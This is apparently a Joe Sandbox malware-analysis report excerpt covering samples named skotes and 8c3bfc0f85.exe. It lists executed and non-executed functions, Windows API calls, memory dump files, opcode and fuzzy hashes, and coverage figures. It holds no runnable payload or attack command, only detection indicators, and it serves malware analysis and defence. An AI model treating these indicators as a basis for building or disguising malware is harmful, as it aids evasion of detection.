RtlAllocateHeap.NTDLL(00000000,9FB95145,?,?,0002D3FC,9FB95145,?,00027A8B,?,?,?,?,?,?,00017465,?), ref: 0004B07D

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 302d0d2c0b4fc45bcf4e69bb719fea127ff0eb99db504fb2c0855620b9f45b6b
Instruction ID: ec296b8b7a74123e428f22e80e820f5af41d7fde432bd3e0d9c1875211906fdf
Opcode Fuzzy Hash: 302d0d2c0b4fc45bcf4e69bb719fea127ff0eb99db504fb2c0855620b9f45b6b
Instruction Fuzzy Hash: 9CE022F114162196EB7032398C00B9FB6C88F413B2F251230EC28A60A2DF10EC0082EC

Function 00026C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00026CF5

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e5157349b0381908ff0811852b241901c96645bbb71725b2f296008f3d31e8d9
Instruction ID: f3240025157add884f89584a1fa0b08bca9ff3f29c4a01ce6266dd4da629e667
Opcode Fuzzy Hash: e5157349b0381908ff0811852b241901c96645bbb71725b2f296008f3d31e8d9
Instruction Fuzzy Hash: F6F0A471E00654EBC711BB689D03B9EBB74EB46760F900758E8256B2D3EB781A4447D3

Function 04A20000 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3038466947.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94a9dfe562588264f52e2ffa0dde15d2e4b8c35435b3b9f8ee35e4393762a3a3
Instruction ID: ac1aa0d31daae6bdcd16dd7c95aac95cb0984b81a6b376a4e99eb8f4429b3f0d
Opcode Fuzzy Hash: 94a9dfe562588264f52e2ffa0dde15d2e4b8c35435b3b9f8ee35e4393762a3a3
Instruction Fuzzy Hash: B0219FFB24C2207DB112D5492F14AFB67BEE6D2730730C43AF902C6546F3951A4A7131

Function 04A20007 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3038466947.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 897f90c17b256410b55c8991e2d53e5e152046657ec3f9a71eff51c16880689c
Instruction ID: 8ef559118a74da58ac997cff8c26e1cbe24929f91a8e4e32bdddd8269d611108
Opcode Fuzzy Hash: 897f90c17b256410b55c8991e2d53e5e152046657ec3f9a71eff51c16880689c
Instruction Fuzzy Hash: E621A0FB24C2207EB202D58A2F14AFB677EE5C2730730C42AF902C5506F3951A4E7131

Function 04A2001D Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3038466947.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 936ecf722199ae93b4a9e47682fc066ea11a8ff755b4320b0861a7e2778f05c0
Instruction ID: 890f56609b7569c2d51922c23e7762012d79441911a4088b3121738c56f1b3b2
Opcode Fuzzy Hash: 936ecf722199ae93b4a9e47682fc066ea11a8ff755b4320b0861a7e2778f05c0
Instruction Fuzzy Hash: D021B0FB24C2207DB112D98A2F14AFB77BEE6D2730730C93AF902C2506E3951A4A7171

Function 04A20037 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3038466947.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fa50e964f093be507e840ad8f951293dc74a07483f57a56dbc171d8a3cda4de
Instruction ID: 127a86cdbe51be6cdc88bf46dfa80be9bbc937189c78e1f1d20932a70251eea6
Opcode Fuzzy Hash: 9fa50e964f093be507e840ad8f951293dc74a07483f57a56dbc171d8a3cda4de
Instruction Fuzzy Hash: 1C21C5FB24C2207DB112D5496F14AFB77AEE6C2730730C53AF902D5906F3951A4A7131

Function 04A20052 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3038466947.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e894e7674efe300a72d2da3767a2942f17447a8b00f8ca3388947b01c07b5930
Instruction ID: 34d14c5b60a91e6564318231f0da3d56ce222b901a6515f6c87966d6152d4d32
Opcode Fuzzy Hash: e894e7674efe300a72d2da3767a2942f17447a8b00f8ca3388947b01c07b5930
Instruction Fuzzy Hash: 4F2149F720C3247E7202D4592B14AF77BAFE6C6330730C53AF902D6506E3951A497171

Function 04A20070 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3038466947.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9588fdbc171aee05a5bea22e601791cef201a7cc0ee7cef1c93fecd2be9a2044
Instruction ID: 0af88f4dc9a79f090670cdedb6107b296a8f3c6b74e2f8078815e6f41bd22bf9
Opcode Fuzzy Hash: 9588fdbc171aee05a5bea22e601791cef201a7cc0ee7cef1c93fecd2be9a2044
Instruction Fuzzy Hash: 8A2138F760C220BEB202D5596F54AFB3BBFE6C2330730852EF642C6506E395194AB131

Function 04A2008E Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3038466947.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c9c486eec3808844cdf5b9b9f69eb776ad3a0490095ba5186c9f574d9eb5880
Instruction ID: cce569b14da531d39c997ce3f57f2ef5c7aaf72d8839f4c2fe23c851bb8628dd
Opcode Fuzzy Hash: 9c9c486eec3808844cdf5b9b9f69eb776ad3a0490095ba5186c9f574d9eb5880
Instruction Fuzzy Hash: 221129F720C3207EF212D4596B54AFB3BAFE6C2330730853AF542C6546E395164AB171

Function 04A200AA Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3038466947.0000000004A20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4a20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb043e11f81a411b5f1f6f651c815102d7ccc7bba056dbceeb710db910f42661
Instruction ID: 29595ff8b0e4f55efe44b5c310543f81c6a882316b80a2655331d031e8833bf4
Opcode Fuzzy Hash: eb043e11f81a411b5f1f6f651c815102d7ccc7bba056dbceeb710db910f42661
Instruction Fuzzy Hash: B3113AF724C3207EB202D8595B44AFB3BAFE6D2330730893AF502C6506F3951949B171

Non-executed Functions

Function 0002CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0002CF52,?,?,?,?,0002CF87,?,?,?,?,?,?,0002C4FD,?,00000001), ref: 0002CC03

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: a1468807d9b1dfcacf8941a59eee18a21da2af1dfa804afd0685125a73fbcd2c
Instruction ID: 1fecb5646a7c06c04aeeb19a801ff9e244b575cee4e804d08f1611c1c2800f75
Opcode Fuzzy Hash: a1468807d9b1dfcacf8941a59eee18a21da2af1dfa804afd0685125a73fbcd2c
Instruction Fuzzy Hash: 9CD02232982038D3BA152B94FC04CADBB89CF00B947000021E90C23120CA956C808BD1

Function 0004652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94a7fadc4db85a843c2300cd363567ae04a07cd178a7823941139d3e0ccba0d6
Instruction ID: 84d365216ab88a2407e39eb8aa94e8d3a74fbb65e6606f2ecee504facb12a79e
Opcode Fuzzy Hash: 94a7fadc4db85a843c2300cd363567ae04a07cd178a7823941139d3e0ccba0d6
Instruction Fuzzy Hash: 46E086700425086ACF257B28C905D883B59EF53745F005934FC098A12ADB26EE41C645

Function 0004A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 1ce372c3d4c83672496cb3d70c50e3c1e79414153f441743b421c933183e8614
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: CDE08CB2A61228EBCB14DF98C904A8AF7FCEB4AB01B6500A6F501D3151D270DF00C7D4

Function 00044840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00044877
___except_validate_context_record.LIBVCRUNTIME ref: 0004487F
_ValidateLocalCookies.LIBCMT ref: 00044908
__IsNonwritableInCurrentImage.LIBCMT ref: 00044933
_ValidateLocalCookies.LIBCMT ref: 00044988

Strings

csm, xrefs: 0004491D

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 1380b8f086d2b27cf2d6d098e7fbfe6873b4721a5864a32be73034e4f112d244
Instruction ID: 01bdd0832870062c3d89f5e16b2c980bffa406a8250cefc475a8bbb503e7dd68
Opcode Fuzzy Hash: 1380b8f086d2b27cf2d6d098e7fbfe6873b4721a5864a32be73034e4f112d244
Instruction Fuzzy Hash: 6E51E2B0A00249ABCF10DF68C881BAF7BE5AF45318F148075E8189B353DB36DE15CB95

Function 00012EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00012F5F
__Mtx_unlock.LIBCPMT ref: 00012FCC
__Cnd_broadcast.LIBCPMT ref: 00012FE3
__Mtx_unlock.LIBCPMT ref: 000130F5
__Mtx_unlock.LIBCPMT ref: 0001319B

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: adde948b2c7a7395676b08e8e866281fadb845550069797e8ffbc0876d31790c
Instruction ID: cce910280d3c319cfbc65538bb74d04ecdc6df488e2a4c7ba471d5dd0986635d
Opcode Fuzzy Hash: adde948b2c7a7395676b08e8e866281fadb845550069797e8ffbc0876d31790c
Instruction Fuzzy Hash: FCA1D070A01215EFEB21DB64D948BDAB7E8FF19314F148139E816D7242EB35EA84CB91

Function 0004CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0004CC66

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 9df09f900d3cf8005b2345a0968274d98933b4554d713517aa23f5a77537577b
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: C0B124B2D026459FEB65CF29C881BFEBBE5EF45340F14817AD845EB242D6349D01CB68

Function 0002BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0002BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0002BBE4
_xtime_get.LIBCPMT ref: 0002BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0002BC13

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: d5083789e535beed8f37dfe20ba26da8b82a118e27e474e3ccd3047f78438976
Instruction ID: dc43eed4300b474f6b67d232702eb130d129e3da0eefeda8e1b412757ec0f0d3
Opcode Fuzzy Hash: d5083789e535beed8f37dfe20ba26da8b82a118e27e474e3ccd3047f78438976
Instruction Fuzzy Hash: D9211D71A00129AFEF40EBA4ED85DFEB7B9EF08710F500025F901B7252DB749D019BA0

Analysis Process: 8c3bfc0f85.exePID: 3352, Parent PID: 4192COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.1%
Total number of Nodes:	822
Total number of Limit Nodes:	102

Executed Functions

Function 61E354D1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,61ECC400,?,61E35248), ref: 61E354EB

Strings

HRa, xrefs: 61E3554C

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: InfoSystem
String ID: HRa
API String ID: 31276548-1004199025
Opcode ID: 90f829b77809e80cd7cc556866e5c439b2c19dcd8d7a36888ffec522c66ecd4c
Instruction ID: 06cda1940385b8855eb11c4b22b944da250b3e82bd825487f891a332eec36e05
Opcode Fuzzy Hash: 90f829b77809e80cd7cc556866e5c439b2c19dcd8d7a36888ffec522c66ecd4c
Instruction Fuzzy Hash: 56F03AB02083419BD704AFA4C60631FBAF5AFC6B09F66C82DD1858B380CB75D8559B93

Function 61E4B8A1 Relevance: 1.6, APIs: 1, Instructions: 323
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcmp.MSVCRT ref: 61E4BBA6

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: c2002dce9f5e4d7c2b5f78abcb95225e97438571cbdf1746bfb7f61ccb496e17
Instruction ID: 0d30bdf3ca1535cc6e9debfec2a3fa3a34d16498aff86589297f71c0a5a37c1e
Opcode Fuzzy Hash: c2002dce9f5e4d7c2b5f78abcb95225e97438571cbdf1746bfb7f61ccb496e17
